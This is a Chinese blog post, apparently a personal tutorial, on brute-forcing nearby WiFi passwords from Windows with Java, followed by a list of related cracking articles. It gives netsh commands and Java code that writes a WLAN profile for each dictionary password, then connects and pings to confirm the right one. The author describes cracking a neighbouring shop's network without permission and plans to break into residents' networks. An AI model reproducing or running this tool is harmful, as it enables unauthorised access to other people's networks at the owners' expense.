开始进入正题。在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置网卡。所以得把系统刻到U盘,然后用U盘启动。但是我现在穷得连一条内裤都没有了,哪来的U盘啊。于是就决定自己写,而且还得用Java写,写了我还得在windows上运行。

一、准备工作

首先你得需要一台能连wifi的电脑,
然后你的电脑得支持Java环境,
最后你周围得有无线网络。

ok,话不多说,说开撸,老夫就要开撸。于是网上找到了windows下cmd无线网络操作的相关命令。如下:

// 列出所有可用wifi
netsh wlan show networks mode=bssid// 添加配置文件
netsh wlan add profile filename=FILE_NAME// 连接wifi
netsh wlan connect name=SSID_NAME// 导出配置文件
netsh wlan export profile key=clear// 列出配置文件
netsh wlan show profile// 删除配置文件
netsh wlan delete profile name=FILE_NAME// 列出接口
netsh wlan show interface// 开启接口
netsh interface set interface "Interface Name" enabled

首先需要写配置文件,方便待会使用。首先我们可以看看配置文件张啥样,导出配置文件看看就知道了。打开命令行,输入这我这篇文章中,主要会用到前四个命令,其他的命令就当给各位做拓展了。

netsh wlan export profile key=clear

就导出了配置文件,注意,这儿的配置文件默认导出在cmd执行的当前路径,如下,

我导出的文件就在 C:\Users\Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,随便打开一个我们可以看到xml文件的具体内容,但是有一些内容是我们不需要的,我们需要的是下面这个样子

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>SSID_NAME</name>
<SSIDConfig><SSID><name>SSID_NAME</name></SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM><security><authEncryption><authentication>AUTH_TYPE</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>PASSWORD</keyMaterial></sharedKey></security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3"><enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>

二、扫描WIFI其中 SSID_NAME 是待会我们会用到的wifi名称, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我们会暴力破解的密码变量。

OK,背景交代得差不多了,可以开干了。首先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信号强度(信号太弱的,我们就不进行破解了,破解了也没啥用)。扫描其实就是执行一个CMD命令的问题,先封装一个CMD执行器吧。

/*** 执行器** @param cmd      CMD命令* @param filePath 需要在哪个目录下执行*/
private static List<String> execute(String cmd, String filePath) {Process process = null;List<String> result = new ArrayList<String>();try {if (filePath != null) {process = Runtime.getRuntime().exec(cmd, null, new File(filePath));} else {process = Runtime.getRuntime().exec(cmd);}BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));String line = null;while ((line = bReader.readLine()) != null) {result.add(line);}} catch (IOException e) {e.printStackTrace();}return result;
}
/*** 列出所有信号较好的ssid** @return 所有ssid*/
public static List<Ssid> listSsid() {List<Ssid> ssidList = new ArrayList<Ssid>();String cmd = Command.SHOW_NETWORKS;List<String> result = execute(cmd, null);if (result != null && result.size() > 0) {// todo 整合信息}return ssidList;
}

然后扫描周围wifi信息,并返回相关信息

三、生成配置文件

OK,接下来我们就可以开始针对每个不同的SSID生成不同的配置文件了,生成文件整个过程就是根据每个不同的密码生成一个配置文件。大概代码如下

/*** 配置文件生成器*/
public class ProfileGenerator {private String ssid = null;private String passwrodPath = null;private ExecutorService threadPool = Executors.newFixedThreadPool(4);public ProfileGenerator(String ssid, String passwrodPath) {this.ssid = ssid;this.passwrodPath = passwrodPath;}/*** 生成配置文件*/public void genProfile() {List<String> passwordList = null;int counter = 0;outer:while (true) {int start = counter * Connector.BATH_SIZE;int end = (counter + 1) * Connector.BATH_SIZE - 1;passwordList = FileUtils.readLine(passwrodPath, start, end);if (passwordList != null && passwordList.size() > 0) {// 生成配置文件for (String password : passwordList) {GenThread genThread = new GenThread(ssid, password);threadPool.execute(genThread);}} else {break outer;}counter++;}}
}class GenThread implements Runnable {private String ssid = null;private String password = null;GenThread(String ssid, String password) {this.ssid = ssid;this.password = password;}public void run() {String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);}
}

需要哪些密码可以自己现在网上找一些字典来跑,建议顺序是 常用弱口令 => 字典面 => 随机密码(到了随机密码这儿,意义也不大了)。这儿给出一个常见弱口令的下载连接。反正我只用这个弱口令破解过一个WIFI。这儿为了加快文件生成速度,我开启了多线程。个人实际感受,如果只是几千到几万个的话,其实多线程不多线程,并没有多大区别,真正的区别在于后面尝试连接的时候。

四、遍历校验配置文件

接下来就是最耗时的一步了,一个个密码去校验。关键代码如下

/*** 校验WLAN配置文件是否正确* <p>* 校验步骤为:* ---step1 添加配置文件* ---step3 连接wifi* ---step3 ping校验*/
public synchronized boolean check(String ssid, String password) {System.out.println("check : " + password);try {String profileName = password + ".xml";if (addProfile(profileName)) {if (connect(ssid)) {Thread.sleep(50);if (ping()) {return true;}}}} catch (InterruptedException e) {e.printStackTrace();}return false;
}/*** 添加配置文件** @param profileName 添加配置文件*/
private static boolean addProfile(String profileName) {String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);if (result != null && result.size() > 0) {if (result.get(0).contains("添加到接口")) {return true;}}return false;
}/*** 连接wifi** @param ssid 添加配置文件*/
private static boolean connect(String ssid) {boolean connected = false;String cmd = Command.CONNECT.replace("SSID_NAME", ssid);List<String> result = execute(cmd, null);if (result != null && result.size() > 0) {if (result.get(0).contains("已成功完成")) {connected = true;}}return connected;
}/*** ping 校验*/
private static boolean ping() {boolean pinged = false;String cmd = "ping " + Connector.PING_DOMAIN;List<String> result = execute(cmd, null);if (result != null && result.size() > 0) {for (String item : result) {if (item.contains("来自")) {pinged = true;break;}}}return pinged;
}

两点释疑:
1.为什么需要sleep(50)? 因为在连接后,电脑没有立即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50行不行。

2.为什么需要ping网站? 因为在第二步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接’ 的字样。所以没办法,只有用ping来校验,不过我相信一定能够优化的。

这一步我开启了多线程,去验证,有人说为什么用多线程,明明验证方法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那一点点时间,我用了多线程。

五、连接成功

OK,至此,为师已将毕生功力传授给你了,你出去就说是三年经验了。呸,说错了,至此,整个流程大概就已经出来了,接下来就run你的程序吧。等待密码的破解。

我一共在我家周围瞄上了三个信号看起来还可以的wifi。用这个程序跑了40多秒,开了一个wifi的密码 12345678。耶成功了终于可以用了。

然后根据密码,把自家路由器设置一个桥接模式。家里处处都有网了。

五、或者放弃

或者,你也可以放弃。愉快地用了一晚上过后,我第二天早上起来发现网断了,原来那个网不存在了,但是到了中午又有了。我估计是底商闭店了,就断电了,网就没了。

于是想要撬开一个住户的网,跑了两个看起来信号比较好的网络,都以失败告终!!!因为密码字典不够强大。网上下过几个字典生成器,都不能用。算了吧先凑合用着现在的网络,等我有空了,写个字典生成器,来撬开。

如何在Windows平台用Java代码暴力破解WIFI密码相关推荐

  1. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  2. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  3. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  4. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  5. [python爬虫]暴力破解Wifi密码

    遇到的错误 一.Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法 解决方案一: 在Pycharm中,依次打开File->Settings,弹窗如下图: 点击右侧 ...

  6. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  7. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

  8. aircrack-ng暴力破解WIFI密码

    使用工具: aircrack-ng kali支持的无线网卡 第一步:检查无线网卡插上后,是否识别 第二步:airmon-ng check kill (我的理解是杀死有可能妨碍监听模式的进程) 第三步: ...

  9. Wifi密码破解1:通过字典(暴力)破解WIFI密码

    简单破解WEP/WPA/WPA2加密的WIFI密码,平台kali-linux 工具:Aircrack-ng 过程很简单:先抓含有正确密码的握手包(客户端连接wifi的时候会互相交换报文),然后从这个抓 ...

最新文章

  1. Node.js项目实践:构建可扩展的Web应用
  2. MFC文件操作大全,打开,保存,复制,删除,查找等
  3. 并查集 基础 AC 2014-01-14 13:37 202人阅读 评论(0) 收藏...
  4. CEDEC 2021 | 让巨大化角色充满真实感的五大法则
  5. Mozilla Prism v0.9 For Windows/Linux/Mac
  6. android高德地图绘制多边形_exlive1.0BS网上查车完善电子围栏:行政区域、多边形、规划线路...
  7. 7-2 旅行售货员 (10 分)(TSP问题思路加详解)
  8. 【POJ - 2236】Wireless Network (并查集)
  9. python的pass在函数中的作用_Pass Share:Python / Julia 中函数变量的传递机制
  10. springbootSecurity的使用
  11. 分数等级_山东新高考:quot;6选3quot;等级考分数是怎么换算出来的
  12. 蓝牙设备一键切换工具ToothFairy for Mac中文
  13. 复赛全省第一,决赛发挥失误,他是如何挽回局势,保送北大的?
  14. 音频属性采样率、通道数、位数、比特率、帧等
  15. JavaScript判断受访域名,调用不同的js文件
  16. 程序集(dll) 安装到 GAC 程序集添加到VS引用开窗(转)
  17. 从零开始学Snaker(一)- 官方项目运行
  18. linux windows 共享 smbd 部署
  19. 【Arduino实验08 红外传感器】
  20. 2019河南省第十二届ACM省赛原题题目及省赛榜单

热门文章

  1. 怎么在电脑上创建一个虚拟机
  2. 键盘输入一个高精度的正整数N,去掉其中任意S个数字后剩下的数字按原左右次序将组成一个新的正整数。编程对给定的N和S,寻找一种方案使得剩下的数字组成的新数最小。(C++)(贪心法)
  3. 快速刷通PWN的第一天
  4. 涉密计算机打印机共享案例分析,案例教程|兼收并蓄,有线打印机无线共享实战...
  5. 最强赛亚人服务器维护,最强赛亚人官方,最强赛亚人手游官方正版预约 v1.1.0-手游汇...
  6. 一文读懂DeFi保险市场主要玩家及其运作机制 链捕手
  7. 不靠谱的InetAddress.isReachable,解决办法
  8. 字节跳动-飞书视频-测试开发面试题
  9. fatal: The remote end hung up unexpectedly解决方案
  10. Apifox:详细使用教程,带你轻松拿捏